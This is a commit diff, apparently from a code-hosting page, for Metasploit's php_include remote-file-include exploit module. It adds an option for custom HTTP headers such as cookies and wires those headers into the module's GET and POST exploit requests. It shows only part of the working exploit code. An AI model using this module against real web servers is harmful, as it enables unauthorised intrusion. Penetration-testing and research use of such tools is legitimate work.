1
1
##
2
- # $Id$
2
+ # $Id: php_include.rb 14774 2012-02-21 01:42:17Z rapid7 $
3
3
##
4
4
5
5
##
@@ -29,7 +29,7 @@ def initialize(info = {})
29
29
} ,
30
30
'Author' => [ 'hdm' , 'egypt' , 'ethicalhack3r' ] ,
31
31
'License' => MSF_LICENSE ,
32
- 'Version' => '$Revision$' ,
32
+ 'Version' => '$Revision: 14774 $' ,
33
33
#'References' => [ ],
34
34
'Privileged' => false ,
35
35
'Payload' =>
@@ -57,6 +57,7 @@ def initialize(info = {})
57
57
OptString . new ( 'PATH' , [ true , "The base directory to prepend to the URL to try" , '/' ] ) ,
58
58
OptString . new ( 'PHPURI' , [ false , "The URI to request, with the include parameter changed to XXpathXX" ] ) ,
59
59
OptString . new ( 'POSTDATA' , [ false , "The POST data to send, with the include parameter changed to XXpathXX" ] ) ,
60
+ OptString . new ( 'HEADERS' , [ false , "Any additional HTTP headers to send, cookies for example. Format: \" header:value,header2:value2\" " ] ) ,
60
61
OptPath . new ( 'PHPRFIDB' , [ false , "A local file containing a list of URLs to try, with XXpathXX replacing the URL" ,
61
62
File . join ( Msf ::Config . install_root , "data" , "exploits" , "php" , "rfi-locations.dat" )
62
63
] )
@@ -69,18 +70,27 @@ def check
69
70
uri . gsub! ( /\? .*/ , "" )
70
71
print_status ( "Checking uri #{ uri } " )
71
72
response = send_request_raw ( { 'uri' => uri } )
72
- if response . code == 200
73
- return Exploit ::CheckCode ::Detected
74
- end
73
+ return Exploit ::CheckCode ::Detected if response . code == 200
75
74
print_error ( "Server responded with #{ response . code } " )
76
75
return Exploit ::CheckCode ::Safe
77
76
else
78
77
return Exploit ::CheckCode ::Unknown
79
78
end
80
79
end
81
80
82
- def php_exploit
81
+ def datastore_headers
82
+ headers = datastore [ 'HEADERS' ] ? datastore [ 'HEADERS' ] . dup : ""
83
+ headers_hash = Hash . new
84
+ if ( headers and ! headers . empty? )
85
+ headers . split ( ',' ) . each do |header |
86
+ key , value = header . split ( ':' )
87
+ headers_hash [ key ] = value . strip
88
+ end
89
+ end
90
+ headers_hash
91
+ end
83
92
93
+ def php_exploit
84
94
uris = [ ]
85
95
86
96
tpath = datastore [ 'PATH' ]
@@ -129,6 +139,7 @@ def php_exploit
129
139
response = send_request_raw ( {
130
140
'global' => true ,
131
141
'uri' => tpath +uri ,
142
+ 'headers' => datastore_headers ,
132
143
} , timeout )
133
144
elsif http_method == "POST"
134
145
response = send_request_raw (
@@ -137,11 +148,10 @@ def php_exploit
137
148
'uri' => tpath +uri ,
138
149
'method' => http_method ,
139
150
'data' => postdata ,
140
- 'headers' =>
141
- {
151
+ 'headers' => datastore_headers . merge ( {
142
152
'Content-Type' => 'application/x-www-form-urlencoded' ,
143
- 'Content-Length' => postdata . length ,
144
- }
153
+ 'Content-Length' => postdata . length
154
+ } )
145
155
} , timeout )
146
156
end
147
157
handler
0 commit comments